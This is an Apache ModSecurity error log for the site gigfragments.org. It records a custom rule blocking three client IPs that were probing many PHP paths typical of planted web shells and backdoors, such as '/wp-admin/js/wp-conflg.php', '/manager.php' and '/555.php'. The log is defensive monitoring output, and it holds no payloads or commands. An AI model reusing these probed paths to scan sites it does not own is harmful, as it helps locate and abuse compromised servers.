[Mon Apr 06 18:47:45.983689 2026] [:error] [pid 35786:tid 35801] [client 51.120.80.210:36359] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/voga/sallu.php"] [unique_id "adOPUWgkfCKTaLhwaKQRmQAAAMg"]
[Mon Apr 06 18:47:46.183219 2026] [:error] [pid 10280:tid 10289] [client 51.103.121.89:48568] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "adOPUl8QUJkf8g-BFfPLkAAAAcY"]
[Mon Apr 06 18:47:47.926893 2026] [:error] [pid 38562:tid 38576] [client 51.120.80.210:40713] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "adOPU6eD6Ohe6wzRuy5nEgAAAUs"]
[Mon Apr 06 18:47:48.901822 2026] [:error] [pid 9442:tid 9444] [client 51.103.121.89:5187] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "adOPVEPsNnAJTnmz6saCpQAAAQA"]
[Mon Apr 06 18:47:49.128552 2026] [:error] [pid 38562:tid 38565] [client 51.120.80.210:39676] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "adOPVaeD6Ohe6wzRuy5nFQAAAUA"]
[Mon Apr 06 18:47:49.837245 2026] [:error] [pid 35688:tid 35763] [client 51.120.80.210:58075] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "adOPVeZ85qg4jLsRpQxv3gAAAI0"]
[Mon Apr 06 18:47:51.203180 2026] [:error] [pid 35688:tid 35772] [client 51.120.80.210:47765] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "adOPV-Z85qg4jLsRpQxv4QAAAJY"]
[Mon Apr 06 18:47:52.347698 2026] [:error] [pid 35688:tid 35758] [client 51.120.80.210:50854] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/555.php"] [unique_id "adOPWOZ85qg4jLsRpQxv5QAAAIg"]
[Mon Apr 06 18:47:52.917640 2026] [:error] [pid 35688:tid 35751] [client 172.213.138.9:44785] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkxzo.php"] [unique_id "adOPWOZ85qg4jLsRpQxv5gAAAIE"]
[Mon Apr 06 18:47:53.011544 2026] [:error] [pid 38562:tid 38582] [client 51.103.121.89:43771] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "adOPWaeD6Ohe6wzRuy5nFgAAAVE"]
[Mon Apr 06 18:47:53.772271 2026] [:error] [pid 35786:tid 35795] [client 51.120.80.210:44062] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/555.php"] [unique_id "adOPWWgkfCKTaLhwaKQRpAAAAMI"]
[Mon Apr 06 18:47:56.403188 2026] [:error] [pid 35688:tid 35766] [client 51.120.80.210:47774] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/555.php"] [unique_id "adOPXOZ85qg4jLsRpQxv6gAAAJA"]
[Mon Apr 06 18:47:57.232030 2026] [:error] [pid 35688:tid 35758] [client 51.120.80.210:5377] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/555.php"] [unique_id "adOPXeZ85qg4jLsRpQxv8gAAAIg"]
[Mon Apr 06 18:47:57.608665 2026] [:error] [pid 38562:tid 38577] [client 51.103.121.89:43545] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "adOPXaeD6Ohe6wzRuy5nIAAAAUw"]
[Mon Apr 06 18:47:58.513012 2026] [:error] [pid 1827:tid 1838] [client 51.120.80.210:44039] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "adOPXuVeb6S_DnjZ2xH3_wAAAgk"]
[Mon Apr 06 18:47:59.287483 2026] [:error] [pid 35688:tid 35770] [client 51.120.80.210:5418] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "adOPX-Z85qg4jLsRpQxv_AAAAJQ"]
[Mon Apr 06 18:48:00.902096 2026] [:error] [pid 9442:tid 9465] [client 51.120.80.210:47310] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "adOPYEPsNnAJTnmz6saCsAAAARU"]
[Mon Apr 06 18:48:02.052287 2026] [:error] [pid 9442:tid 9450] [client 51.120.80.210:43603] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "adOPYkPsNnAJTnmz6saCsgAAAQY"]
[Mon Apr 06 18:48:04.743507 2026] [:error] [pid 35688:tid 35751] [client 51.120.80.210:33146] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "adOPZOZ85qg4jLsRpQxwFgAAAIE"]
[Mon Apr 06 18:48:05.999828 2026] [:error] [pid 9442:tid 9445] [client 51.120.80.210:47851] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "adOPZUPsNnAJTnmz6saCvwAAAQE"]
[Mon Apr 06 18:48:07.038167 2026] [:error] [pid 10280:tid 10305] [client 51.120.80.210:47341] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "adOPZ18QUJkf8g-BFfPLrQAAAdY"]
[Mon Apr 06 18:48:07.754949 2026] [:error] [pid 10280:tid 10294] [client 51.120.80.210:47752] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "adOPZ18QUJkf8g-BFfPLsgAAAcs"]
[Mon Apr 06 18:48:08.504037 2026] [:error] [pid 10280:tid 10306] [client 51.120.80.210:47304] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "adOPaF8QUJkf8g-BFfPLugAAAdc"]
[Mon Apr 06 18:48:09.289550 2026] [:error] [pid 38562:tid 38587] [client 51.120.80.210:37439] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "adOPaaeD6Ohe6wzRuy5nIwAAAVY"]
[Mon Apr 06 18:48:10.456250 2026] [:error] [pid 38562:tid 38575] [client 51.120.80.210:36075] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "adOPaqeD6Ohe6wzRuy5nKQAAAUo"]
[Mon Apr 06 18:48:11.217231 2026] [:error] [pid 1827:tid 1846] [client 51.120.80.210:37385] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "adOPa-Veb6S_DnjZ2xH4BwAAAhE"]
[Mon Apr 06 18:48:11.869055 2026] [:error] [pid 10280:tid 10287] [client 51.120.80.210:36566] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adOPa18QUJkf8g-BFfPLwwAAAcQ"]
[Mon Apr 06 18:48:12.860925 2026] [:error] [pid 9442:tid 9468] [client 51.120.80.210:47768] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adOPbEPsNnAJTnmz6saCzQAAARg"]
[Mon Apr 06 18:48:13.916072 2026] [:error] [pid 9442:tid 9453] [client 51.120.80.210:50060] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adOPbUPsNnAJTnmz6saC1gAAAQk"]
[Mon Apr 06 18:48:15.423854 2026] [:error] [pid 10280:tid 10284] [client 51.120.80.210:55078] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adOPb18QUJkf8g-BFfPLygAAAcE"]
[Mon Apr 06 18:48:16.355097 2026] [:error] [pid 38562:tid 38587] [client 51.120.80.210:58523] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "adOPcKeD6Ohe6wzRuy5nMwAAAVY"]
[Mon Apr 06 18:48:17.400502 2026] [:error] [pid 9442:tid 9464] [client 51.120.80.210:44112] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "adOPcUPsNnAJTnmz6saC3wAAARQ"]
[Mon Apr 06 18:48:17.985862 2026] [:error] [pid 35688:tid 35750] [client 51.103.121.89:45687] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "adOPceZ85qg4jLsRpQxwJQAAAIA"]
[Mon Apr 06 18:48:18.189702 2026] [:error] [pid 35786:tid 35811] [client 51.120.80.210:58585] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "adOPcmgkfCKTaLhwaKQRqQAAANI"]
[Mon Apr 06 18:48:19.193692 2026] [:error] [pid 10280:tid 10289] [client 51.120.80.210:41489] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "adOPc18QUJkf8g-BFfPL0gAAAcY"]
[Mon Apr 06 18:48:21.284456 2026] [:error] [pid 1827:tid 1837] [client 51.103.121.89:45688] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "adOPdeVeb6S_DnjZ2xH4GAAAAgg"]
[Mon Apr 06 18:48:21.414157 2026] [:error] [pid 9413:tid 9429] [client 51.120.80.210:46752] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "adOPdXllvEK3chn01wG2-wAAAY4"]
[Mon Apr 06 18:48:22.752786 2026] [:error] [pid 38562:tid 38573] [client 51.103.121.89:37403] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "adOPdqeD6Ohe6wzRuy5nOgAAAUg"]
[Mon Apr 06 18:48:24.466993 2026] [:error] [pid 38562:tid 38584] [client 51.103.121.89:35865] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "adOPeKeD6Ohe6wzRuy5nQwAAAVM"]
[Mon Apr 06 18:48:24.921956 2026] [:error] [pid 10280:tid 10295] [client 51.120.80.210:55131] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "adOPeF8QUJkf8g-BFfPL4wAAAcw"]
[Mon Apr 06 18:48:25.245688 2026] [:error] [pid 10280:tid 10289] [client 172.213.138.9:49284] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lo.php"] [unique_id "adOPeV8QUJkf8g-BFfPL5QAAAcY"]
[Mon Apr 06 18:48:26.714079 2026] [:error] [pid 10280:tid 10285] [client 51.103.121.89:44771] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "adOPel8QUJkf8g-BFfPL6gAAAcI"]
[Mon Apr 06 18:48:27.654103 2026] [:error] [pid 35686:tid 35702] [client 51.120.80.210:45923] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "adOPe8MKdea6oORd2fzDmAAAAAY"]
[Mon Apr 06 18:48:28.601656 2026] [:error] [pid 9413:tid 9422] [client 51.103.121.89:46756] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "adOPfHllvEK3chn01wG3BQAAAYc"]
[Mon Apr 06 18:48:29.288824 2026] [:error] [pid 9413:tid 9425] [client 51.120.80.210:55153] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "adOPfXllvEK3chn01wG3BgAAAYo"]
[Mon Apr 06 18:48:30.861445 2026] [:error] [pid 35686:tid 35699] [client 51.103.121.89:44794] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "adOPfsMKdea6oORd2fzDngAAAAM"]
[Mon Apr 06 18:48:31.879120 2026] [:error] [pid 38562:tid 38576] [client 51.103.121.89:45653] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "adOPf6eD6Ohe6wzRuy5nWgAAAUs"]
[Mon Apr 06 18:48:32.218679 2026] [:error] [pid 1827:tid 1844] [client 51.120.80.210:45463] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "adOPgOVeb6S_DnjZ2xH4MwAAAg8"]
[Mon Apr 06 18:48:33.668970 2026] [:error] [pid 35686:tid 35697] [client 51.103.121.89:5122] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "adOPgcMKdea6oORd2fzDowAAAAE"]
[Mon Apr 06 18:48:35.785072 2026] [:error] [pid 9442:tid 9459] [client 51.103.121.89:47847] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "adOPg0PsNnAJTnmz6saC-wAAAQ8"]
[Mon Apr 06 18:48:38.117108 2026] [:error] [pid 35686:tid 35704] [client 51.103.121.89:46985] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "adOPhsMKdea6oORd2fzDqAAAAAg"]
[Mon Apr 06 18:48:40.397167 2026] [:error] [pid 1827:tid 1853] [client 51.103.121.89:44784] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "adOPiOVeb6S_DnjZ2xH4TQAAAhg"]
[Mon Apr 06 18:48:41.932527 2026] [:error] [pid 9442:tid 9462] [client 51.103.121.89:49865] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adOPiUPsNnAJTnmz6saDBQAAARI"]
[Mon Apr 06 18:48:43.381353 2026] [:error] [pid 9442:tid 9448] [client 51.103.121.89:47830] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adOPi0PsNnAJTnmz6saDCAAAAQQ"]
[Mon Apr 06 18:48:44.066567 2026] [:error] [pid 9442:tid 9461] [client 51.103.121.89:46777] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adOPjEPsNnAJTnmz6saDCwAAARE"]
[Mon Apr 06 18:48:44.752715 2026] [:error] [pid 35688:tid 35766] [client 51.103.121.89:46721] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adOPjOZ85qg4jLsRpQxwTQAAAJA"]
